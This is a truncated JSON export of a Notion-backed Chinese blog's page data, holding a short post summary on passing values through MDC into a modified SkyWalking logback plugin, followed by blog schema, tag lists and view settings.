\n\n{\"code\":0,\"message\":null,\"data\":\"1\",\"success\":true,\"timestamp\":1}"]],"language":[["Java"]]},"created_time":1705774157283,"last_edited_time":1705776557559,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"0e05852c-3ee2-4087-a126-3de4e0942a19":{"value":{"id":"0e05852c-3ee2-4087-a126-3de4e0942a19","type":"text","properties":{"title":[["user日志"]]},"created_time":1705774370401,"last_edited_time":1705774374674,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"39cdd25c-bec1-4319-86b7-2b3db77e107a":{"value":{"id":"39cdd25c-bec1-4319-86b7-2b3db77e107a","type":"code","properties":{"title":[["[TID:xx.17057741377320011] [XNIO-1 task-1] TestController:54 - user-testSkywalking"]],"language":[["Java"]]},"created_time":1705774161119,"last_edited_time":1705774314220,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"19073c4d-640d-4621-9e5c-56a99d0255dc":{"value":{"id":"19073c4d-640d-4621-9e5c-56a99d0255dc","type":"text","properties":{"title":[["确实可用,完美解决"]]},"format":{"copied_from_pointer":{"id":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166212,"last_edited_time":1705774393126,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"2b3ed6e6-bbf0-4cff-be3c-88d4521e468c"}},"65fc421b-dc9a-4a4c-b3b1-739e002e5d8d":{"value":{"id":"65fc421b-dc9a-4a4c-b3b1-739e002e5d8d","type":"header","properties":{"title":[["总结"]]},"created_time":1705774393415,"last_edited_time":1705774396717,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"fc0bc607-3ddb-47e6-879b-5229ae258f71":{"value":{"id":"fc0bc607-3ddb-47e6-879b-5229ae258f71","type":"bulleted_list","properties":{"title":[["就是把apm-toolkit-logback-1.x-activation插件改了点代码替换掉"]]},"created_time":1705774415784,"last_edited_time":1705774444503,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"f0568091-07d1-43b3-9a52-11cd0d74650d":{"value":{"id":"f0568091-07d1-43b3-9a52-11cd0d74650d","type":"bulleted_list","properties":{"title":[["然后在gatway模块的日志前面用MDC传了点值进到插件里面"]]},"created_time":1705774444819,"last_edited_time":1705774476384,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"31887616-fe32-43df-97c9-f850a7201f22":{"value":{"id":"31887616-fe32-43df-97c9-f850a7201f22","type":"bulleted_list","properties":{"title":[["相当取巧,因为gatway也没啥日志"]]},"created_time":1705774489583,"last_edited_time":1705774517420,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"065453d6-fec4-45d0-a4a6-8ddd1d07b18c":{"value":{"id":"065453d6-fec4-45d0-a4a6-8ddd1d07b18c","type":"bulleted_list","properties":{"title":[["目前看来没什么问题"]]},"created_time":1705774476680,"last_edited_time":1705774523959,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true}},"19e3bbae-2412-427b-b58b-07013f336d4e":{"value":{"id":"19e3bbae-2412-427b-b58b-07013f336d4e","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"5cde9219-8710-4037-9848-8a1f37dc9ff6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166213,"last_edited_time":1705767166213,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"5cde9219-8710-4037-9848-8a1f37dc9ff6"}},"2fb486a5-74f6-4bcf-bf78-3f7142f7c121":{"value":{"id":"2fb486a5-74f6-4bcf-bf78-3f7142f7c121","type":"column_list","content":["e9db490b-9be9-4524-ac7f-9c3bf6f28f3d","e4bbc214-298b-4a2d-9269-99ef87b4e872","2822cf85-e741-4a15-913d-5905a02e0cd0"],"format":{"copied_from_pointer":{"id":"60dbcaaf-f103-4bb0-9be1-817671709d79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166213,"last_edited_time":1705767166213,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"60dbcaaf-f103-4bb0-9be1-817671709d79"}},"80ee939b-8833-4392-a7e3-5687659406c1":{"value":{"id":"80ee939b-8833-4392-a7e3-5687659406c1","type":"text","format":{"copied_from_pointer":{"id":"d23c967c-579a-4a00-81be-5b5255a47a8a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166213,"last_edited_time":1705767166213,"parent_id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","parent_table":"block","alive":true,"copied_from":"d23c967c-579a-4a00-81be-5b5255a47a8a"}},"e9db490b-9be9-4524-ac7f-9c3bf6f28f3d":{"value":{"id":"e9db490b-9be9-4524-ac7f-9c3bf6f28f3d","type":"column","content":["749d46cc-a88a-4a77-b6d8-d3a95fb2d652"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"235500f7-fd62-4fe9-b6d2-b67bac3f464d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166214,"last_edited_time":1705767166214,"parent_id":"2fb486a5-74f6-4bcf-bf78-3f7142f7c121","parent_table":"block","alive":true,"copied_from":"235500f7-fd62-4fe9-b6d2-b67bac3f464d"}},"e4bbc214-298b-4a2d-9269-99ef87b4e872":{"value":{"id":"e4bbc214-298b-4a2d-9269-99ef87b4e872","type":"column","content":["cb6641a2-dc67-4250-a68f-06f20d4e5856","53f55fce-85fc-42d2-b4d9-16cbbec3544a"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166213,"last_edited_time":1705767166213,"parent_id":"2fb486a5-74f6-4bcf-bf78-3f7142f7c121","parent_table":"block","alive":true,"copied_from":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0"}},"2822cf85-e741-4a15-913d-5905a02e0cd0":{"value":{"id":"2822cf85-e741-4a15-913d-5905a02e0cd0","type":"column","content":["1c60f3fa-2ebf-4bba-a20b-e6f0a75dc3d2"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"2db937b6-5aae-440c-a285-8be50e3b5e55","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166214,"last_edited_time":1705767166214,"parent_id":"2fb486a5-74f6-4bcf-bf78-3f7142f7c121","parent_table":"block","alive":true,"copied_from":"2db937b6-5aae-440c-a285-8be50e3b5e55"}},"749d46cc-a88a-4a77-b6d8-d3a95fb2d652":{"value":{"id":"749d46cc-a88a-4a77-b6d8-d3a95fb2d652","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"97938c4a-3571-4bef-b055-178812ea72c6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1705767166214,"last_edited_time":1705767166214,"parent_id":"e9db490b-9be9-4524-ac7f-9c3bf6f28f3d","parent_table":"block","alive":true,"copied_from":"97938c4a-3571-4bef-b055-178812ea72c6","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"cb6641a2-dc67-4250-a68f-06f20d4e5856":{"value":{"id":"cb6641a2-dc67-4250-a68f-06f20d4e5856","type":"text","properties":{"title":[["\n",[["i"]]],[" 是在往前走就好",[["i"],["b"]]],["\n ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"01338c9e-9395-42fa-858b-73431aab37fa","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166214,"last_edited_time":1705767166214,"parent_id":"e4bbc214-298b-4a2d-9269-99ef87b4e872","parent_table":"block","alive":true,"copied_from":"01338c9e-9395-42fa-858b-73431aab37fa"}},"53f55fce-85fc-42d2-b4d9-16cbbec3544a":{"value":{"id":"53f55fce-85fc-42d2-b4d9-16cbbec3544a","type":"text","format":{"copied_from_pointer":{"id":"5e9529ea-6019-4fc2-84b6-796d696ac4fd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1705767166214,"last_edited_time":1705767166214,"parent_id":"e4bbc214-298b-4a2d-9269-99ef87b4e872","parent_table":"block","alive":true,"copied_from":"5e9529ea-6019-4fc2-84b6-796d696ac4fd"}},"1c60f3fa-2ebf-4bba-a20b-e6f0a75dc3d2":{"value":{"id":"1c60f3fa-2ebf-4bba-a20b-e6f0a75dc3d2","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1705767166214,"last_edited_time":1705767166214,"parent_id":"2822cf85-e741-4a15-913d-5905a02e0cd0","parent_table":"block","alive":true,"copied_from":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":22,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"},{"id":"c466d345-55bf-4155-a77e-fcd58819a455","color":"brown","value":"准备"},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","color":"green","value":"万里长征"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","color":"gray","value":"运维"},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","color":"orange","value":"linux"},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","color":"orange","value":"脚本"},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","color":"yellow","value":"面试"},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","color":"gray","value":"go"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1","fbea6284-6910-456b-9292-c62e080c9f59"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{"eb3e1328-8f32-4ff5-8d18-8ea80020e175":{"role":"none"}},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":53,"type":"table","name":"Table","format":{"table_properties":[{"width":295,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","33fa284f-0c06-4f26-9ca3-be25469051c4","e267a30e-29c7-47df-8dc2-cbba50b01443","5bc86ceb-2501-4ba3-a7f9-588407e6d47a","154f5010-17f2-8079-beb8-c6a44f0aa69c","153f5010-17f2-8037-8e89-ecfcb9d24a89","b7f50367-a6df-4492-a459-4baef5b1e4c3","a741252c-e46b-4342-998c-58ebc362fc0d","df1cfd49-4665-4429-a601-d6e8d57f2a50","6f317036-a205-45d7-98ce-c95a34ca3000","2187a0b2-05d0-4661-906d-3f47acc5b022","023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","ac8b0aec-6e91-49e0-b6c0-806e97729436","fdb70c2f-29b1-4635-bb36-fc826bad8fbd","2caa6a98-fd82-4de7-838f-e08dfe6649ab","146219e7-c178-4485-b223-22f4b977333c","71879fde-4992-4276-9767-ac5bd71e4058","9a78ba09-76ce-4344-bad5-f6d60dc0680e","63830328-e0f0-477a-b327-bc4ab921f89c","4d955058-b605-46cf-b242-1535b732af30","9a11ddf0-58ae-4450-8583-5ba3e2108e0a","1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","3505b511-076b-47a7-aa1a-95e702c54e6b","463a3c80-4e43-42d9-b436-1299d00df6b2","11d73154-336e-4e5a-8e92-8a8b36b2bc92","df0db62b-d0ed-47f0-b5be-445bfef1f6af","3fb907b8-6154-452a-94f7-a018ba092632","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":2,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"property":"bB{M"},{"value":{"type":"select","value":"面试准备"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":28,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"},{"value":{"type":"select","value":"准备"},"property":"bB{M"},{"value":{"type":"select","value":"万里长征"},"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7